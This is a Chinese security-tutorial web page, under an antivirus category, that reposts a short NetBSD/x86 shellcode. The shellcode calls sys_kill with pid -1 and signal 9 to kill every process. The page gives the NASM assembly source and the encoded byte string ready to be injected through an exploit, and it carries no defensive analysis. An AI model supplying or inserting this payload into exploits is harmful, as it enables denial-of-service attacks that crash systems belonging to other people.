当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > 杀掉进程的shellcode(netbsd/x86)

杀毒防毒
如何清除能突破主动防御的新型木马
用卡巴斯基(AVP)检测内存驻留型病毒
针对ARP病毒攻击防治的进阶经验谈
Vista防火墙导致网络无法访问解决方法
卡巴斯基误杀XP?IT网站电脑大面积瘫痪
计算机中毒后的处理方法
ARP病毒造成断网的解决方法
局域网防ARP欺骗限速--金山ARP防火墙
解读防火墙日志记录 防范网络攻击
安全漏洞的起因:ActiveX技术安全报告
最新AUTO木马病毒变种分析及解决方案
遭遇wuauclt.exe病毒的应对方法
Auto木马致毒霸2007无法启动
春节前后最易爆发的三类病毒
防火墙的分类及优缺点综述
简单易用新方法清除顽固病毒
卡巴斯基杀毒软件的十九种实用使用方法
查杀木马病的几个安全工具
新春推荐:十大免费安全工具
清除正在运行的EXE、DLL病毒

杀毒防毒 中的 杀掉进程的shellcode(netbsd/x86)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 46 ::
收藏到网摘: n/a

  /*

  netbsd/x86 kill all processes shellcode

  author Teo Manojlovic

  contact [email protected]

  this shellcode is using syscall number 37 or 0x25

  37 STD { int sys_kill(int pid, int signum); }

  here is assembler code using intel syntaxe and NASM

  --------------begin-----------

  section .note.netbsd.ident

  dd0x07,0x04,0x01

  db"NetBSD",0x00,0x00

  dd200000000

  section .data

  section .text

  global _start

  _start:

  xor eax, eax

  push 0x09

  mov eax, -1

  push eax

  xor eax,eax

  mov al, 37

  push eax

  int 0x80

  -------------------------end------------

  if we dissasemble this code wi will get shellcode

  "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"

  */